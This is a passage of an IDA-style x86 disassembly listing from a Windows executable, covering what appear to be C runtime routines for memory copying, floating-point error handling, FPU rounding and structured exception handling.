		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C4A8:				; CODE XREF: sub_41C310+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41C4DC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_41C4D0:				; CODE XREF: sub_41C310+1B1j
					; sub_41C310+208j ...
		neg	ecx
		jmp	dword ptr loc_41C59F+1[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41C4DC:				; CODE XREF: sub_41C310+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41C4F4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41C4F4+4[eax*4]
; ---------------------------------------------------------------------------

loc_41C4F4:				; CODE XREF: sub_41C310+1D6j
					; DATA XREF: sub_41C310+1DDr
		jmp	off_41C5F0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		or	ch, al
		inc	ecx
		add	[eax], ch
		lds	eax, [ecx+0]
		push	eax
		lds	eax, [ecx+0]
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		movsb
		lds	eax, [ecx+0]
		lodsb
		lds	eax, [ecx+0]
		mov	ah, 0C5h
		inc	ecx
		add	[ebp+eax*8-3A3BFFBFh], bh
		inc	ecx
		add	ah, cl
		lds	eax, [ecx+0]
		aam	0C5h
		inc	ecx

loc_41C59F:				; DATA XREF: sub_41C310+1C2r
		add	bh, ah
		lds	eax, [ecx+0]
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_41C5E7:				; CODE XREF: sub_41C310+1C2j
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41C5F0	dd offset loc_41C600	; DATA XREF: sub_41C310+1B7r
					; sub_41C310:loc_41C4F4r ...
		dd offset loc_41C608
		dd offset loc_41C618
		dd offset loc_41C62C
; ---------------------------------------------------------------------------

loc_41C600:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C608:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C618:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C62C:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41C310	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C645	proc near		; CODE XREF: sub_40BFEB+40p
					; ___:0040E29Fp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_41AFE0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_420510
		add	esp, 10h
		leave
		retn
sub_41C645	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C679(double)

sub_41C679	proc near		; CODE XREF: sub_40D030+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43A2C0
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41C6FF
		call	sub_4216B1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41C6E2
		cmp	eax, 2
		jle	short loc_41C6D4
		cmp	eax, 3
		jnz	short loc_41C6E2
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_420FC1
		add	esp, 10h
		jmp	short loc_41C744
; ---------------------------------------------------------------------------

loc_41C6D4:				; CODE XREF: sub_41C679+3Fj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41C744
; ---------------------------------------------------------------------------

loc_41C6E2:				; CODE XREF: sub_41C679+3Aj
					; sub_41C679+44j
		fld	[ebp+arg_0]
		fadd	dbl_427718
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_41C73C
; ---------------------------------------------------------------------------

loc_41C6FF:				; CODE XREF: sub_41C679+2Fj
		call	sub_421676
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41C722

loc_41C714:				; CODE XREF: sub_41C679+ACj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41C744
; ---------------------------------------------------------------------------

loc_41C722:				; CODE XREF: sub_41C679+99j
		test	bl, 20h
		jnz	short loc_41C714
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int

loc_41C73C:				; CODE XREF: sub_41C679+84j
		call	sub_421014
		add	esp, 1Ch

loc_41C744:				; CODE XREF: sub_41C679+59j
					; sub_41C679+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41C679	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C748	proc near		; CODE XREF: ___:0041B78Dp
					; sub_4218B2+21p
					; DATA XREF: ...
		call	sub_41C760
		call	sub_4218B2
		mov	dword_4DB2FC, eax
		call	sub_421862
		fnclex
		retn
sub_41C748	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_41C760	proc near		; CODE XREF: sub_41C748p
		mov	eax, offset sub_421CA0
		mov	off_43C8D4, offset sub_421935
		mov	off_43C8D0, eax
		mov	off_43C8D8, offset sub_42199B
		mov	off_43C8DC, offset sub_4218DB
		mov	off_43C8E0, offset sub_421983
		mov	off_43C8E4, eax
		retn
sub_41C760	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C798	proc near		; CODE XREF: sub_40D030+1Bp
					; sub_40D030+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_41C798	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C7BF(double)

sub_41C7BF	proc near		; CODE XREF: sub_40D07C+82p
					; ___:0040DD3Cp

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43A2D8
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41C845
		call	sub_4216B1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41C828
		cmp	eax, 2
		jle	short loc_41C81A
		cmp	eax, 3
		jnz	short loc_41C828
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_420FC1
		add	esp, 10h
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------

loc_41C81A:				; CODE XREF: sub_41C7BF+3Fj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------

loc_41C828:				; CODE XREF: sub_41C7BF+3Aj
					; sub_41C7BF+44j
		fld	[ebp+arg_0]
		fadd	dbl_427718
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_41C882
; ---------------------------------------------------------------------------

loc_41C845:				; CODE XREF: sub_41C7BF+2Fj
		call	sub_421676
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41C868

loc_41C85A:				; CODE XREF: sub_41C7BF+ACj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------

loc_41C868:				; CODE XREF: sub_41C7BF+99j
		test	bl, 20h
		jnz	short loc_41C85A
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int

loc_41C882:				; CODE XREF: sub_41C7BF+84j
		call	sub_421014
		add	esp, 1Ch

loc_41C88A:				; CODE XREF: sub_41C7BF+59j
					; sub_41C7BF+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41C7BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C88E	proc near		; CODE XREF: ___:00422182p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_41C88E	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_41C8C2	proc near		; CODE XREF: sub_4222C2+199p
					; sub_422486+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41C8C2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41C8C9	proc near		; CODE XREF: sub_4222C2+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41C8C9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41C8D0	proc near		; CODE XREF: sub_41CA82+5Cp
					; sub_422111:loc_422142p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_41C8F8
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_42675C
sub_41C8D0	endp

; ---------------------------------------------------------------------------

loc_41C8F8:				; DATA XREF: sub_41C8D0+11o
		mov	eax, [ebp+0Ch]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+0Ch]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp-8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; ---------------------------------------------------------------------------

loc_41C91F:				; CODE XREF: ___:00426DFCj
					; ___:00426E19j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_421D16
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C955	proc near		; CODE XREF: sub_42218C+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_41C9A9
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_422510
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_41C955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9A9	proc near		; DATA XREF: sub_41C955+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421D16
		add	esp, 20h
		pop	ebp
		retn
sub_41C9A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9CE	proc near		; CODE XREF: sub_421F58+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_41CA82
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_41CA54
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_4DB354
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0

loc_41CA54:				; DATA XREF: sub_41C9CE+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_41CA71
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_41CA7A
; ---------------------------------------------------------------------------

loc_41CA71:				; CODE XREF: sub_41C9CE+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax

loc_41CA7A:				; CODE XREF: sub_41C9CE+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C9CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CA82	proc near		; DATA XREF: sub_41C9CE+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_41CAA5
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41CAF2
; ---------------------------------------------------------------------------

loc_41CAA5:				; CODE XREF: sub_41CA82+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421D16
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41CAE3
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41C8D0
; ---------------------------------------------------------------------------

loc_41CAE3:				; CODE XREF: sub_41CA82+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax

loc_41CAF2:				; CODE XREF: sub_41CA82+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41CA82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CAF7	proc near		; CODE XREF: sub_421DB1+C6p
					; sub_421F58+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_41CB4E

loc_41CB15:				; CODE XREF: sub_41CAF7+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41CB1F
		call	sub_4225B2

loc_41CB1F:				; CODE XREF: sub_41CAF7+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_41CB34
		cmp	ecx, [eax+8]
		jle	short loc_41CB39

loc_41CB34:				; CODE XREF: sub_41CAF7+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41CB45

loc_41CB39:				; CODE XREF: sub_41CAF7+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi

loc_41CB45:				; CODE XREF: sub_41CAF7+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_41CB15
		mov	eax, [ebp+var_4]

loc_41CB4E:				; CODE XREF: sub_41CAF7+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_41CB62
		cmp	esi, eax
		jbe	short loc_41CB67

loc_41CB62:				; CODE XREF: sub_41CAF7+65j
		call	sub_4225B2

loc_41CB67:				; CODE XREF: sub_41CAF7+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_41CAF7	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41CB74	proc near		; CODE XREF: sub_4234B8+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset sub_41CB8C
		push	[ebp+arg_0]
		call	sub_42675C
sub_41CB74	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CB8C	proc near		; DATA XREF: sub_41CB74+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41CB8C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41CB94	proc near		; DATA XREF: sub_41CBB6+Ao
					; sub_41CC1E+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_41CBB5
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_41CBB5:				; CODE XREF: sub_41CB94+10j
		retn
sub_41CB94	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CBB6	proc near		; CODE XREF: sub_422232+Dp
					; sub_4234B8+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_41CB94
		push	large dword ptr	fs:0
		mov	large fs:0, esp

loc_41CBD3:				; CODE XREF: sub_41CBB6:loc_41CC0Ej
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41CC10
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41CC10
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41CC0E
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41CC4A
		call	dword ptr [ebx+esi*4+8]

loc_41CC0E:				; CODE XREF: sub_41CBB6+44j
		jmp	short loc_41CBD3
; ---------------------------------------------------------------------------

loc_41CC10:				; CODE XREF: sub_41CBB6+2Aj
					; sub_41CBB6+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41CBB6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC1E	proc near		; CODE XREF: sub_422252+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_41CB94
		jnz	short locret_41CC40
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41CC40
		mov	eax, 1

locret_41CC40:				; CODE XREF: sub_41CC1E+10j
					; sub_41CC1E+1Bj
		retn
sub_41CC1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC41	proc near		; CODE XREF: sub_422510+1Ep
					; sub_422510+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43A2DC
		jmp	short loc_41CC54
sub_41CC41	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC4A	proc near		; CODE XREF: sub_41CBB6+4Fp
					; sub_4234B8+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43A2DC
		mov	ecx, [ebp+8]

loc_41CC54:				; CODE XREF: sub_41CC41+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41CC4A	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_41CC64	proc near		; CODE XREF: sub_40D07C+5p
					; sub_40D21E+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_41CC64	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41CC83	proc near		; CODE XREF: sub_40D6B3+26p
					; ___:004264F2p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41B0B1
		pop	ecx
		retn
sub_41CC83	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CC90	proc near		; CODE XREF: sub_40D724+3Ap
					; sub_41DEA2+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41CCB0
		cmp	edi, eax
		jb	loc_41CE28

loc_41CCB0:				; CODE XREF: sub_41CC90+16j
		test	edi, 3
		jnz	short loc_41CCCC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------

loc_41CCCC:				; CODE XREF: sub_41CC90+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41CCE4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41CCEC+4[eax*4]
; ---------------------------------------------------------------------------

loc_41CCE4:				; CODE XREF: sub_41CC90+46j
